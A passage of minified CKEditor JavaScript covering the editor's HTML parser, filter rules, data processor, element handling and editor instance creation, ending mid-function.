(function(){function a(a){return a.attributes["data-cke-survive"]?false:a.name=="a"&&a.attributes.href||CKEDITOR.dtd.$removeEmpty[a.name]}var f=CKEDITOR.tools.extend({table:1,ul:1,ol:1,dl:1},CKEDITOR.dtd.table,CKEDITOR.dtd.ul,CKEDITOR.dtd.ol,CKEDITOR.dtd.dl),b={ol:1,ul:1},c=CKEDITOR.tools.extend({},{html:1},CKEDITOR.dtd.html,CKEDITOR.dtd.body,CKEDITOR.dtd.head,{style:1,script:1}),e={ul:"li",ol:"li",dl:"dd",table:"tbody",tbody:"tr",thead:"tr",tfoot:"tr",tr:"td"};CKEDITOR.htmlParser.fragment.fromHtml=
function(d,h,k){function j(a){var b;if(i.length>0)for(var c=0;c<i.length;c++){var d=i[c],e=d.name,f=CKEDITOR.dtd[e],l=u.name&&CKEDITOR.dtd[u.name];if((!l||l[e])&&(!a||!f||f[a]||!CKEDITOR.dtd[a])){if(!b){g();b=1}d=d.clone();d.parent=u;u=d;i.splice(c,1);c--}else if(e==u.name){y(u,u.parent,1);c--}}}function g(){for(;A.length;)y(A.shift(),u)}function m(a){if(a._.isBlockLike&&a.name!="pre"&&a.name!="textarea"){var b=a.children.length,c=a.children[b-1],d;if(c&&c.type==CKEDITOR.NODE_TEXT)(d=CKEDITOR.tools.rtrim(c.value))?
c.value=d:a.children.length=b-1}}function y(b,c,d){var c=c||u||t,e=u;if(b.previous===void 0){if(s(c,b)){u=c;q.onTagOpen(k,{});b.returnPoint=c=u}m(b);(!a(b)||b.children.length)&&c.add(b);b.name=="pre"&&(l=false);b.name=="textarea"&&(o=false)}if(b.returnPoint){u=b.returnPoint;delete b.returnPoint}else u=d?c:e}function s(a,b){if((a==t||a.name=="body")&&k&&(!a.name||CKEDITOR.dtd[a.name][k])){var c,d;return(c=b.attributes&&(d=b.attributes["data-cke-real-element-type"])?d:b.name)&&c in CKEDITOR.dtd.$inline&&
!(c in CKEDITOR.dtd.head)&&!b.isOrphan||b.type==CKEDITOR.NODE_TEXT}}function w(a,b){return a in CKEDITOR.dtd.$listItem||a in CKEDITOR.dtd.$tableContent?a==b||a=="dt"&&b=="dd"||a=="dd"&&b=="dt":false}var q=new CKEDITOR.htmlParser,t=h instanceof CKEDITOR.htmlParser.element?h:typeof h=="string"?new CKEDITOR.htmlParser.element(h):new CKEDITOR.htmlParser.fragment,i=[],A=[],u=t,o=t.name=="textarea",l=t.name=="pre";q.onTagOpen=function(d,e,h,m){e=new CKEDITOR.htmlParser.element(d,e);if(e.isUnknown&&h)e.isEmpty=
true;e.isOptionalClose=m;if(a(e))i.push(e);else{if(d=="pre")l=true;else{if(d=="br"&&l){u.add(new CKEDITOR.htmlParser.text("\n"));return}d=="textarea"&&(o=true)}if(d=="br")A.push(e);else{for(;;){m=(h=u.name)?CKEDITOR.dtd[h]||(u._.isBlockLike?CKEDITOR.dtd.div:CKEDITOR.dtd.span):c;if(!e.isUnknown&&!u.isUnknown&&!m[d])if(u.isOptionalClose)q.onTagClose(h);else if(d in b&&h in b){h=u.children;(h=h[h.length-1])&&h.name=="li"||y(h=new CKEDITOR.htmlParser.element("li"),u);!e.returnPoint&&(e.returnPoint=u);
u=h}else if(d in CKEDITOR.dtd.$listItem&&!w(d,h))q.onTagOpen(d=="li"?"ul":"dl",{},0,1);else if(h in f&&!w(d,h)){!e.returnPoint&&(e.returnPoint=u);u=u.parent}else{h in CKEDITOR.dtd.$inline&&i.unshift(u);if(u.parent)y(u,u.parent,1);else{e.isOrphan=1;break}}else break}j(d);g();e.parent=u;e.isEmpty?y(e):u=e}}};q.onTagClose=function(a){for(var b=i.length-1;b>=0;b--)if(a==i[b].name){i.splice(b,1);return}for(var c=[],d=[],e=u;e!=t&&e.name!=a;){e._.isBlockLike||d.unshift(e);c.push(e);e=e.returnPoint||e.parent}if(e!=
t){for(b=0;b<c.length;b++){var f=c[b];y(f,f.parent)}u=e;e._.isBlockLike&&g();y(e,e.parent);if(e==u)u=u.parent;i=i.concat(d)}a=="body"&&(k=false)};q.onText=function(a){if((!u._.hasInlineStarted||A.length)&&!l&&!o){a=CKEDITOR.tools.ltrim(a);if(a.length===0)return}var b=u.name,d=b?CKEDITOR.dtd[b]||(u._.isBlockLike?CKEDITOR.dtd.div:CKEDITOR.dtd.span):c;if(!o&&!d["#"]&&b in f){q.onTagOpen(e[b]||"");q.onText(a)}else{g();j();!l&&!o&&(a=a.replace(/[\t\r\n ]{2,}|[\t\r\n]/g," "));a=new CKEDITOR.htmlParser.text(a);
if(s(u,a))this.onTagOpen(k,{},0,1);u.add(a)}};q.onCDATA=function(a){u.add(new CKEDITOR.htmlParser.cdata(a))};q.onComment=function(a){g();j();u.add(new CKEDITOR.htmlParser.comment(a))};q.parse(d);for(g();u!=t;)y(u,u.parent,1);m(t);return t};CKEDITOR.htmlParser.fragment.prototype={type:CKEDITOR.NODE_DOCUMENT_FRAGMENT,add:function(a,b){isNaN(b)&&(b=this.children.length);var c=b>0?this.children[b-1]:null;if(c){if(a._.isBlockLike&&c.type==CKEDITOR.NODE_TEXT){c.value=CKEDITOR.tools.rtrim(c.value);if(c.value.length===
0){this.children.pop();this.add(a);return}}c.next=a}a.previous=c;a.parent=this;this.children.splice(b,0,a);if(!this._.hasInlineStarted)this._.hasInlineStarted=a.type==CKEDITOR.NODE_TEXT||a.type==CKEDITOR.NODE_ELEMENT&&!a._.isBlockLike},filter:function(a,b){b=this.getFilterContext(b);a.onRoot(b,this);this.filterChildren(a,false,b)},filterChildren:function(a,b,c){if(this.childrenFilteredBy!=a.id){c=this.getFilterContext(c);if(b&&!this.parent)a.onRoot(c,this);this.childrenFilteredBy=a.id;for(b=0;b<this.children.length;b++)this.children[b].filter(a,
c)===false&&b--}},writeHtml:function(a,b){b&&this.filter(b);this.writeChildrenHtml(a)},writeChildrenHtml:function(a,b,c){var e=this.getFilterContext();if(c&&!this.parent&&b)b.onRoot(e,this);b&&this.filterChildren(b,false,e);b=0;c=this.children;for(e=c.length;b<e;b++)c[b].writeHtml(a)},forEach:function(a,b,c){if(!c&&(!b||this.type==b))var e=a(this);if(e!==false)for(var c=this.children,f=0;f<c.length;f++){e=c[f];e.type==CKEDITOR.NODE_ELEMENT?e.forEach(a,b):(!b||e.type==b)&&a(e)}},getFilterContext:function(a){return a||
{}}}})();"use strict";
(function(){function a(){this.rules=[]}function f(b,c,e,d){var f,k;for(f in c){(k=b[f])||(k=b[f]=new a);k.add(c[f],e,d)}}CKEDITOR.htmlParser.filter=CKEDITOR.tools.createClass({$:function(b){this.id=CKEDITOR.tools.getNextNumber();this.elementNameRules=new a;this.attributeNameRules=new a;this.elementsRules={};this.attributesRules={};this.textRules=new a;this.commentRules=new a;this.rootRules=new a;b&&this.addRules(b,10)},proto:{addRules:function(a,c){var e;if(typeof c=="number")e=c;else if(c&&"priority"in
c)e=c.priority;typeof e!="number"&&(e=10);typeof c!="object"&&(c={});a.elementNames&&this.elementNameRules.addMany(a.elementNames,e,c);a.attributeNames&&this.attributeNameRules.addMany(a.attributeNames,e,c);a.elements&&f(this.elementsRules,a.elements,e,c);a.attributes&&f(this.attributesRules,a.attributes,e,c);a.text&&this.textRules.add(a.text,e,c);a.comment&&this.commentRules.add(a.comment,e,c);a.root&&this.rootRules.add(a.root,e,c)},applyTo:function(a){a.filter(this)},onElementName:function(a,c){return this.elementNameRules.execOnName(a,
c)},onAttributeName:function(a,c){return this.attributeNameRules.execOnName(a,c)},onText:function(a,c,e){return this.textRules.exec(a,c,e)},onComment:function(a,c,e){return this.commentRules.exec(a,c,e)},onRoot:function(a,c){return this.rootRules.exec(a,c)},onElement:function(a,c){for(var e=[this.elementsRules["^"],this.elementsRules[c.name],this.elementsRules.$],d,f=0;f<3;f++)if(d=e[f]){d=d.exec(a,c,this);if(d===false)return null;if(d&&d!=c)return this.onNode(a,d);if(c.parent&&!c.name)break}return c},
onNode:function(a,c){var e=c.type;return e==CKEDITOR.NODE_ELEMENT?this.onElement(a,c):e==CKEDITOR.NODE_TEXT?new CKEDITOR.htmlParser.text(this.onText(a,c.value)):e==CKEDITOR.NODE_COMMENT?new CKEDITOR.htmlParser.comment(this.onComment(a,c.value)):null},onAttribute:function(a,c,e,d){return(e=this.attributesRules[e])?e.exec(a,d,c,this):d}}});CKEDITOR.htmlParser.filterRulesGroup=a;a.prototype={add:function(a,c,e){this.rules.splice(this.findIndex(c),0,{value:a,priority:c,options:e})},addMany:function(a,
c,e){for(var d=[this.findIndex(c),0],f=0,k=a.length;f<k;f++)d.push({value:a[f],priority:c,options:e});this.rules.splice.apply(this.rules,d)},findIndex:function(a){for(var c=this.rules,e=c.length-1;e>=0&&a<c[e].priority;)e--;return e+1},exec:function(a,c){var e=c instanceof CKEDITOR.htmlParser.node||c instanceof CKEDITOR.htmlParser.fragment,d=Array.prototype.slice.call(arguments,1),f=this.rules,k=f.length,j,g,m,y;for(y=0;y<k;y++){if(e){j=c.type;g=c.name}m=f[y];if(!(a.nonEditable&&!m.options.applyToAll||
a.nestedEditable&&m.options.excludeNestedEditable)){m=m.value.apply(null,d);if(m===false||e&&m&&(m.name!=g||m.type!=j))return m;m!=null&&(d[0]=c=m)}}return c},execOnName:function(a,c){for(var e=0,d=this.rules,f=d.length,k;c&&e<f;e++){k=d[e];!(a.nonEditable&&!k.options.applyToAll||a.nestedEditable&&k.options.excludeNestedEditable)&&(c=c.replace(k.value[0],k.value[1]))}return c}}})();
(function(){function a(a,f){function p(a){return a||CKEDITOR.env.needsNbspFiller?new CKEDITOR.htmlParser.text(" "):new CKEDITOR.htmlParser.element("br",{"data-cke-bogus":1})}function r(a,e){return function(f){if(f.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT){var i=[],l=b(f),x,r;if(l)for(v(l,1)&&i.push(l);l;){if(d(l)&&(x=c(l))&&v(x))if((r=c(x))&&!d(r))i.push(x);else{p(g).insertAfter(x);x.remove()}l=l.previous}for(l=0;l<i.length;l++)i[l].remove();if(i=!a||(typeof e=="function"?e(f):e)!==false)if(!g&&!CKEDITOR.env.needsBrFiller&&
f.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT)i=false;else if(!g&&!CKEDITOR.env.needsBrFiller&&(document.documentMode>7||f.name in CKEDITOR.dtd.tr||f.name in CKEDITOR.dtd.$listItem))i=false;else{i=b(f);i=!i||f.name=="form"&&i.name=="input"}i&&f.add(p(a))}}}function v(a,b){if((!g||CKEDITOR.env.needsBrFiller)&&a.type==CKEDITOR.NODE_ELEMENT&&a.name=="br"&&!a.attributes["data-cke-eol"])return true;var c;if(a.type==CKEDITOR.NODE_TEXT&&(c=a.value.match(i))){if(c.index){(new CKEDITOR.htmlParser.text(a.value.substring(0,
c.index))).insertBefore(a);a.value=c[0]}if(!CKEDITOR.env.needsBrFiller&&g&&(!b||a.parent.name in z))return true;if(!g)if((c=a.previous)&&c.name=="br"||!c||d(c))return true}return false}var n={elements:{}},g=f=="html",z=CKEDITOR.tools.extend({},l),o;for(o in z)"#"in u[o]||delete z[o];for(o in z)n.elements[o]=r(g,a.config.fillEmptyBlocks);n.root=r(g,false);n.elements.br=function(a){return function(b){if(b.parent.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT){var f=b.attributes;if("data-cke-bogus"in f||"data-cke-eol"in
f)delete f["data-cke-bogus"];else{for(f=b.next;f&&e(f);)f=f.next;var i=c(b);!f&&d(b.parent)?h(b.parent,p(a)):d(f)&&(i&&!d(i))&&p(a).insertBefore(f)}}}}(g);return n}function f(a,b){return a!=CKEDITOR.ENTER_BR&&b!==false?a==CKEDITOR.ENTER_DIV?"div":"p":false}function b(a){for(a=a.children[a.children.length-1];a&&e(a);)a=a.previous;return a}function c(a){for(a=a.previous;a&&e(a);)a=a.previous;return a}function e(a){return a.type==CKEDITOR.NODE_TEXT&&!CKEDITOR.tools.trim(a.value)||a.type==CKEDITOR.NODE_ELEMENT&&
a.attributes["data-cke-bookmark"]}function d(a){return a&&(a.type==CKEDITOR.NODE_ELEMENT&&a.name in l||a.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT)}function h(a,b){var c=a.children[a.children.length-1];a.children.push(b);b.parent=a;if(c){c.next=b;b.previous=c}}function k(a){a=a.attributes;a.contenteditable!="false"&&(a["data-cke-editable"]=a.contenteditable?"true":1);a.contenteditable="false"}function j(a){a=a.attributes;switch(a["data-cke-editable"]){case "true":a.contenteditable="true";break;case "1":delete a.contenteditable}}
function g(a){return a.replace(C,function(a,b,c){return"<"+b+c.replace(L,function(a,b){return F.test(b)&&c.indexOf("data-cke-saved-"+b)==-1?" data-cke-saved-"+a+" data-cke-"+CKEDITOR.rnd+"-"+a:a})+">"})}function m(a,b){return a.replace(b,function(a,b,c){a.indexOf("<textarea")===0&&(a=b+w(c).replace(/</g,"&lt;").replace(/>/g,"&gt;")+"</textarea>");return"<cke:encoded>"+encodeURIComponent(a)+"</cke:encoded>"})}function y(a){return a.replace(v,function(a,b){return decodeURIComponent(b)})}function s(a){return a.replace(/<\!--(?!{cke_protected})[\s\S]+?--\>/g,
function(a){return"<\!--"+A+"{C}"+encodeURIComponent(a).replace(/--/g,"%2D%2D")+"--\>"})}function w(a){return a.replace(/<\!--\{cke_protected\}\{C\}([\s\S]+?)--\>/g,function(a,b){return decodeURIComponent(b)})}function q(a,b){var c=b._.dataStore;return a.replace(/<\!--\{cke_protected\}([\s\S]+?)--\>/g,function(a,b){return decodeURIComponent(b)}).replace(/\{cke_protected_(\d+)\}/g,function(a,b){return c&&c[b]||""})}function t(a,b){for(var c=[],d=b.config.protectedSource,e=b._.dataStore||(b._.dataStore=
{id:1}),f=/<\!--\{cke_temp(comment)?\}(\d*?)--\>/g,d=[/<script[\s\S]*?<\/script>/gi,/<noscript[\s\S]*?<\/noscript>/gi,/<meta[\s\S]*?\/?>/gi].concat(d),a=a.replace(/<\!--[\s\S]*?--\>/g,function(a){return"<\!--{cke_tempcomment}"+(c.push(a)-1)+"--\>"}),i=0;i<d.length;i++)a=a.replace(d[i],function(a){a=a.replace(f,function(a,b,d){return c[d]});return/cke_temp(comment)?/.test(a)?a:"<\!--{cke_temp}"+(c.push(a)-1)+"--\>"});a=a.replace(f,function(a,b,d){return"<\!--"+A+(b?"{C}":"")+encodeURIComponent(c[d]).replace(/--/g,
"%2D%2D")+"--\>"});a=a.replace(/<\w+(?:\s+(?:(?:[^\s=>]+\s*=\s*(?:[^'"\s>]+|'[^']*'|"[^"]*"))|[^\s=>]+))+\s*>/g,function(a){return a.replace(/<\!--\{cke_protected\}([^>]*)--\>/g,function(a,b){e[e.id]=decodeURIComponent(b);return"{cke_protected_"+e.id++ +"}"})});return a=a.replace(/<(title|iframe|textarea)([^>]*)>([\s\S]*?)<\/\1>/g,function(a,c,d,e){return"<"+c+d+">"+q(w(e),b)+"</"+c+">"})}CKEDITOR.htmlDataProcessor=function(b){var c,d,e=this;this.editor=b;this.dataFilter=c=new CKEDITOR.htmlParser.filter;
this.htmlFilter=d=new CKEDITOR.htmlParser.filter;this.writer=new CKEDITOR.htmlParser.basicWriter;c.addRules(p);c.addRules(r,{applyToAll:true});c.addRules(a(b,"data"),{applyToAll:true});d.addRules(n);d.addRules(P,{applyToAll:true});d.addRules(a(b,"html"),{applyToAll:true});b.on("toHtml",function(a){var a=a.data,c=a.dataValue,d,c=t(c,b),c=m(c,I),c=g(c),c=m(c,K),c=c.replace(G,"$1cke:$2"),c=c.replace(B,"<cke:$1$2></cke:$1>"),c=c.replace(/(<pre\b[^>]*>)(\r\n|\n)/g,"$1$2$2"),c=c.replace(/([^a-z0-9<\-])(on\w{3,})(?!>)/gi,
"$1data-cke-"+CKEDITOR.rnd+"-$2");d=a.context||b.editable().getName();var e;if(CKEDITOR.env.ie&&CKEDITOR.env.version<9&&d=="pre"){d="div";c="<pre>"+c+"</pre>";e=1}d=b.document.createElement(d);d.setHtml("a"+c);c=d.getHtml().substr(1);c=c.replace(RegExp("data-cke-"+CKEDITOR.rnd+"-","ig"),"");e&&(c=c.replace(/^<pre>|<\/pre>$/gi,""));c=c.replace(z,"$1$2");c=y(c);c=w(c);d=a.fixForBody===false?false:f(a.enterMode,b.config.autoParagraph);c=CKEDITOR.htmlParser.fragment.fromHtml(c,a.context,d);if(d){e=c;
if(!e.children.length&&CKEDITOR.dtd[e.name][d]){d=new CKEDITOR.htmlParser.element(d);e.add(d)}}a.dataValue=c},null,null,5);b.on("toHtml",function(a){a.data.filter.applyTo(a.data.dataValue,true,a.data.dontFilter,a.data.enterMode)&&b.fire("dataFiltered")},null,null,6);b.on("toHtml",function(a){a.data.dataValue.filterChildren(e.dataFilter,true)},null,null,10);b.on("toHtml",function(a){var a=a.data,b=a.dataValue,c=new CKEDITOR.htmlParser.basicWriter;b.writeChildrenHtml(c);b=c.getHtml(true);a.dataValue=
s(b)},null,null,15);b.on("toDataFormat",function(a){var c=a.data.dataValue;a.data.enterMode!=CKEDITOR.ENTER_BR&&(c=c.replace(/^<br *\/?>/i,""));a.data.dataValue=CKEDITOR.htmlParser.fragment.fromHtml(c,a.data.context,f(a.data.enterMode,b.config.autoParagraph))},null,null,5);b.on("toDataFormat",function(a){a.data.dataValue.filterChildren(e.htmlFilter,true)},null,null,10);b.on("toDataFormat",function(a){a.data.filter.applyTo(a.data.dataValue,false,true)},null,null,11);b.on("toDataFormat",function(a){var c=
a.data.dataValue,d=e.writer;d.reset();c.writeChildrenHtml(d);c=d.getHtml(true);c=w(c);c=q(c,b);a.data.dataValue=c},null,null,15)};CKEDITOR.htmlDataProcessor.prototype={toHtml:function(a,b,c,d){var e=this.editor,f,i,l;if(b&&typeof b=="object"){f=b.context;c=b.fixForBody;d=b.dontFilter;i=b.filter;l=b.enterMode}else f=b;!f&&f!==null&&(f=e.editable().getName());return e.fire("toHtml",{dataValue:a,context:f,fixForBody:c,dontFilter:d,filter:i||e.filter,enterMode:l||e.enterMode}).dataValue},toDataFormat:function(a,
b){var c,d,e;if(b){c=b.context;d=b.filter;e=b.enterMode}!c&&c!==null&&(c=this.editor.editable().getName());return this.editor.fire("toDataFormat",{dataValue:a,filter:d||this.editor.filter,context:c,enterMode:e||this.editor.enterMode}).dataValue}};var i=/(?:&nbsp;|\xa0)$/,A="{cke_protected}",u=CKEDITOR.dtd,o=["caption","colgroup","col","thead","tfoot","tbody"],l=CKEDITOR.tools.extend({},u.$blockLimit,u.$block),p={elements:{input:k,textarea:k}},r={attributeNames:[[/^on/,"data-cke-pa-on"],[/^data-cke-expando$/,
""]]},n={elements:{embed:function(a){var b=a.parent;if(b&&b.name=="object"){var c=b.attributes.width,b=b.attributes.height;if(c)a.attributes.width=c;if(b)a.attributes.height=b}},a:function(a){if(!a.children.length&&!a.attributes.name&&!a.attributes["data-cke-saved-name"])return false}}},P={elementNames:[[/^cke:/,""],[/^\?xml:namespace$/,""]],attributeNames:[[/^data-cke-(saved|pa)-/,""],[/^data-cke-.*/,""],["hidefocus",""]],elements:{$:function(a){var b=a.attributes;if(b){if(b["data-cke-temp"])return false;
for(var c=["name","href","src"],d,e=0;e<c.length;e++){d="data-cke-saved-"+c[e];d in b&&delete b[c[e]]}}return a},table:function(a){a.children.slice(0).sort(function(a,b){var c,d;if(a.type==CKEDITOR.NODE_ELEMENT&&b.type==a.type){c=CKEDITOR.tools.indexOf(o,a.name);d=CKEDITOR.tools.indexOf(o,b.name)}if(!(c>-1&&d>-1&&c!=d)){c=a.parent?a.getIndex():-1;d=b.parent?b.getIndex():-1}return c>d?1:-1})},param:function(a){a.children=[];a.isEmpty=true;return a},span:function(a){a.attributes["class"]=="Apple-style-span"&&
delete a.name},html:function(a){delete a.attributes.contenteditable;delete a.attributes["class"]},body:function(a){delete a.attributes.spellcheck;delete a.attributes.contenteditable},style:function(a){var b=a.children[0];if(b&&b.value)b.value=CKEDITOR.tools.trim(b.value);if(!a.attributes.type)a.attributes.type="text/css"},title:function(a){var b=a.children[0];!b&&h(a,b=new CKEDITOR.htmlParser.text);b.value=a.attributes["data-cke-title"]||""},input:j,textarea:j},attributes:{"class":function(a){return CKEDITOR.tools.ltrim(a.replace(/(?:^|\s+)cke_[^\s]*/g,
""))||false}}};if(CKEDITOR.env.ie)P.attributes.style=function(a){return a.replace(/(^|;)([^\:]+)/g,function(a){return a.toLowerCase()})};var C=/<(a|area|img|input|source)\b([^>]*)>/gi,L=/([\w-]+)\s*=\s*(?:(?:"[^"]*")|(?:'[^']*')|(?:[^ "'>]+))/gi,F=/^(href|src|name)$/i,K=/(?:<style(?=[ >])[^>]*>[\s\S]*?<\/style>)|(?:<(:?link|meta|base)[^>]*>)/gi,I=/(<textarea(?=[ >])[^>]*>)([\s\S]*?)(?:<\/textarea>)/gi,v=/<cke:encoded>([^<]*)<\/cke:encoded>/gi,G=/(<\/?)((?:object|embed|param|html|body|head|title)[^>]*>)/gi,
z=/(<\/?)cke:((?:html|body|head|title)[^>]*>)/gi,B=/<cke:(param|embed)([^>]*?)\/?>(?!\s*<\/cke:\1)/gi})();"use strict";
CKEDITOR.htmlParser.element=function(a,f){this.name=a;this.attributes=f||{};this.children=[];var b=a||"",c=b.match(/^cke:(.*)/);c&&(b=c[1]);b=!(!CKEDITOR.dtd.$nonBodyContent[b]&&!CKEDITOR.dtd.$block[b]&&!CKEDITOR.dtd.$listItem[b]&&!CKEDITOR.dtd.$tableContent[b]&&!(CKEDITOR.dtd.$nonEditable[b]||b=="br"));this.isEmpty=!!CKEDITOR.dtd.$empty[a];this.isUnknown=!CKEDITOR.dtd[a];this._={isBlockLike:b,hasInlineStarted:this.isEmpty||!b}};
CKEDITOR.htmlParser.cssStyle=function(a){var f={};((a instanceof CKEDITOR.htmlParser.element?a.attributes.style:a)||"").replace(/&quot;/g,'"').replace(/\s*([^ :;]+)\s*:\s*([^;]+)\s*(?=;|$)/g,function(a,c,e){c=="font-family"&&(e=e.replace(/["']/g,""));f[c.toLowerCase()]=e});return{rules:f,populate:function(a){var c=this.toString();if(c)a instanceof CKEDITOR.dom.element?a.setAttribute("style",c):a instanceof CKEDITOR.htmlParser.element?a.attributes.style=c:a.style=c},toString:function(){var a=[],c;
for(c in f)f[c]&&a.push(c,":",f[c],";");return a.join("")}}};
(function(){function a(a){return function(b){return b.type==CKEDITOR.NODE_ELEMENT&&(typeof a=="string"?b.name==a:b.name in a)}}var f=function(a,b){a=a[0];b=b[0];return a<b?-1:a>b?1:0},b=CKEDITOR.htmlParser.fragment.prototype;CKEDITOR.htmlParser.element.prototype=CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_ELEMENT,add:b.add,clone:function(){return new CKEDITOR.htmlParser.element(this.name,this.attributes)},filter:function(a,b){var d=this,f,k,b=d.getFilterContext(b);if(b.off)return true;
if(!d.parent)a.onRoot(b,d);for(;;){f=d.name;if(!(k=a.onElementName(b,f))){this.remove();return false}d.name=k;if(!(d=a.onElement(b,d))){this.remove();return false}if(d!==this){this.replaceWith(d);return false}if(d.name==f)break;if(d.type!=CKEDITOR.NODE_ELEMENT){this.replaceWith(d);return false}if(!d.name){this.replaceWithChildren();return false}}f=d.attributes;var j,g;for(j in f){g=j;for(k=f[j];;)if(g=a.onAttributeName(b,j))if(g!=j){delete f[j];j=g}else break;else{delete f[j];break}g&&((k=a.onAttribute(b,
d,g,k))===false?delete f[g]:f[g]=k)}d.isEmpty||this.filterChildren(a,false,b);return true},filterChildren:b.filterChildren,writeHtml:function(a,b){b&&this.filter(b);var d=this.name,h=[],k=this.attributes,j,g;a.openTag(d,k);for(j in k)h.push([j,k[j]]);a.sortAttributes&&h.sort(f);j=0;for(g=h.length;j<g;j++){k=h[j];a.attribute(k[0],k[1])}a.openTagClose(d,this.isEmpty);this.writeChildrenHtml(a);this.isEmpty||a.closeTag(d)},writeChildrenHtml:b.writeChildrenHtml,replaceWithChildren:function(){for(var a=
this.children,b=a.length;b;)a[--b].insertAfter(this);this.remove()},forEach:b.forEach,getFirst:function(b){if(!b)return this.children.length?this.children[0]:null;typeof b!="function"&&(b=a(b));for(var e=0,d=this.children.length;e<d;++e)if(b(this.children[e]))return this.children[e];return null},getHtml:function(){var a=new CKEDITOR.htmlParser.basicWriter;this.writeChildrenHtml(a);return a.getHtml()},setHtml:function(a){for(var a=this.children=CKEDITOR.htmlParser.fragment.fromHtml(a).children,b=0,
d=a.length;b<d;++b)a[b].parent=this},getOuterHtml:function(){var a=new CKEDITOR.htmlParser.basicWriter;this.writeHtml(a);return a.getHtml()},split:function(a){for(var b=this.children.splice(a,this.children.length-a),d=this.clone(),f=0;f<b.length;++f)b[f].parent=d;d.children=b;if(b[0])b[0].previous=null;if(a>0)this.children[a-1].next=null;this.parent.add(d,this.getIndex()+1);return d},addClass:function(a){if(!this.hasClass(a)){var b=this.attributes["class"]||"";this.attributes["class"]=b+(b?" ":"")+
a}},removeClass:function(a){var b=this.attributes["class"];if(b)(b=CKEDITOR.tools.trim(b.replace(RegExp("(?:\\s+|^)"+a+"(?:\\s+|$)")," ")))?this.attributes["class"]=b:delete this.attributes["class"]},hasClass:function(a){var b=this.attributes["class"];return!b?false:RegExp("(?:^|\\s)"+a+"(?=\\s|$)").test(b)},getFilterContext:function(a){var b=[];a||(a={off:false,nonEditable:false,nestedEditable:false});!a.off&&this.attributes["data-cke-processor"]=="off"&&b.push("off",true);!a.nonEditable&&this.attributes.contenteditable==
"false"?b.push("nonEditable",true):a.nonEditable&&(!a.nestedEditable&&this.attributes.contenteditable=="true")&&b.push("nestedEditable",true);if(b.length)for(var a=CKEDITOR.tools.copy(a),d=0;d<b.length;d=d+2)a[b[d]]=b[d+1];return a}},true)})();
(function(){var a={},f=/{([^}]+)}/g,b=/([\\'])/g,c=/\n/g,e=/\r/g;CKEDITOR.template=function(d){if(a[d])this.output=a[d];else{var h=d.replace(b,"\\$1").replace(c,"\\n").replace(e,"\\r").replace(f,function(a,b){return"',data['"+b+"']==undefined?'{"+b+"}':data['"+b+"'],'"});this.output=a[d]=Function("data","buffer","return buffer?buffer.push('"+h+"'):['"+h+"'].join('');")}}})();delete CKEDITOR.loadFullCore;CKEDITOR.instances={};CKEDITOR.document=new CKEDITOR.dom.document(document);
CKEDITOR.add=function(a){CKEDITOR.instances[a.name]=a;a.on("focus",function(){if(CKEDITOR.currentInstance!=a){CKEDITOR.currentInstance=a;CKEDITOR.fire("currentInstance")}});a.on("blur",function(){if(CKEDITOR.currentInstance==a){CKEDITOR.currentInstance=null;CKEDITOR.fire("currentInstance")}});CKEDITOR.fire("instance",null,a)};CKEDITOR.remove=function(a){delete CKEDITOR.instances[a.name]};
(function(){var a={};CKEDITOR.addTemplate=function(f,b){var c=a[f];if(c)return c;c={name:f,source:b};CKEDITOR.fire("template",c);return a[f]=new CKEDITOR.template(c.source)};CKEDITOR.getTemplate=function(f){return a[f]}})();(function(){var a=[];CKEDITOR.addCss=function(f){a.push(f)};CKEDITOR.getCss=function(){return a.join("\n")}})();CKEDITOR.on("instanceDestroyed",function(){CKEDITOR.tools.isEmpty(this.instances)&&CKEDITOR.fire("reset")});CKEDITOR.TRISTATE_ON=1;CKEDITOR.TRISTATE_OFF=2;
CKEDITOR.TRISTATE_DISABLED=0;
(function(){CKEDITOR.inline=function(a,f){if(!CKEDITOR.env.isCompatible)return null;a=CKEDITOR.dom.element.get(a);if(a.getEditor())throw'The editor instance "'+a.getEditor().name+'" is already attached to the provided element.';var b=new CKEDITOR.editor(f,a,CKEDITOR.ELEMENT_MODE_INLINE),c=a.is("textarea")?a:null;if(c){b.setData(c.getValue(),null,true);a=CKEDITOR.dom.element.createFromHtml('<div contenteditable="'+!!b.readOnly+'" class="cke_textarea_inline">'+c.getValue()+"</div>",CKEDITOR.document);
a.insertAfter(c);c.hide();c.$.form&&b._attachToForm()}else b.setData(a.getHtml(),null,true);b.on("loaded",function(){b.fire("uiReady");b.editable(a);b.container=a;b.setData(b.getData(1));b.resetDirty();b.fire("contentDom");b.mode="wysiwyg";b.fire("mode");b.status="ready";b.fireOnce("instanceReady");CKEDITOR.fire("instanceReady",null,b)},null,null,1E4);b.on("destroy",function(){if(c){b.container.clearCustomData();b.container.remove();c.show()}b.element.clearCustomData();delete b.element});return b};
CKEDITOR.inlineAll=function(){var a,f,b;for(b in CKEDITOR.dtd.$editable)for(var c=CKEDITOR.document.getElementsByTag(b),e=0,d=c.count();e<d;e++){a=c.getItem(e);if(a.getAttribute("contenteditable")=="true"){f={element:a,config:{}};CKEDITOR.fire("inline",f)!==false&&CKEDITOR.inline(a,f.config)}}};CKEDITOR.domReady(function(){!CKEDITOR.disableAutoInline&&CKEDITOR.inlineAll()})})();CKEDITOR.replaceClass="ckeditor";
(function(){function a(a,e,d,h){if(!CKEDITOR.env.isCompatible)return null;a=CKEDITOR.dom.element.get(a);if(a.getEditor())throw'The editor instance "'+a.getEditor().name+'" is already attached to the provided element.';var k=new CKEDITOR.editor(e,a,h);if(h==CKEDITOR.ELEMENT_MODE_REPLACE){a.setStyle("visibility","hidden");k._.required=a.hasAttribute("required");a.removeAttribute("required")}d&&k.setData(d,null,true);k.on("loaded",function(){b(k);h==CKEDITOR.ELEMENT_MODE_REPLACE&&(k.config.autoUpdateElement&&
a.$.form)&&k._attachToForm();k.setMode(k.config.startupMode,function(){k.resetDirty();k.status="ready";k.fireOnce("instanceReady");CKEDITOR.fire("instanceReady",null,k)})});k.on("destroy",f);return k}function f(){var a=this.container,b=this.element;if(a){a.clearCustomData();a.remove()}if(b){b.clearCustomData();if(this.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE){b.show();this._.required&&b.setAttribute("required","required")}delete this.element}}function b(a){var b=a.name,d=a.element,f=a.elementMode,
